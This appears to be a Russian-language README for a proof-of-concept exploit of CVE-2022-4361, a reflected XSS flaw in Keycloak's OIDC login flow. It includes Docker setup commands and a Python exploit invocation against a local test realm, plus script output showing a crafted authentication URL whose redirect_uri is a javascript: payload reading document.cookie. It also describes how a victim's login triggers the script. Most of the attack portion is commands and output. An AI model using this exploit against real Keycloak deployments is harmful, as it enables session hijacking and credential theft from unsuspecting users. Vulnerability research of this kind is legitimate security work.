
Эксплойт, подтверждающий концепцию, для CVE-2022-4361, отраженной XSS-уязвимости в потоке аутентификации OIDC Keycloak, с тестовой средой на основе Docker и скриптом эксплойта на Python.
Этот репозиторий содержит PoC для CVE-2022-4361.
Вся заслуга принадлежит первоначальному автору открытия, mulliken;
ВАЖНО: этот PoC не является полным, так как не охватывает случай значения AssertionConsumerServiceURL в протоколе аутентификации SAML. В настоящее время рассматривается только случай OIDC.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Дождитесь, пока инфраструктура станет доступной и достижимой.
Поскольку в этом PoC Keycloak не интегрирован ни с одним веб-приложением, необходимо указать полный URL аутентификации Keycloak (после правильной настройки тестового realm).
Уязвимость в этой тестовой среде можно проверить с помощью следующего URL.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
Откроется окно браузера со вредоносной страницей входа, как показано на скриншоте ниже.

Как только жертва предоставит действительные учетные данные (доступные в keycloak-config/test-realm.json) и нажмет кнопку Sign In, будет выполнен отраженный XSS-атака.
Стоит отметить, что атака успешна, даже если жертва уже вошла в приложение.

* для redirect_uri.В настоящее время этот PoC охватывает только случай настройки Keycloak с использованием потока аутентификации OIDC.
В следующих версиях будет введен протокол аутентификации SAML.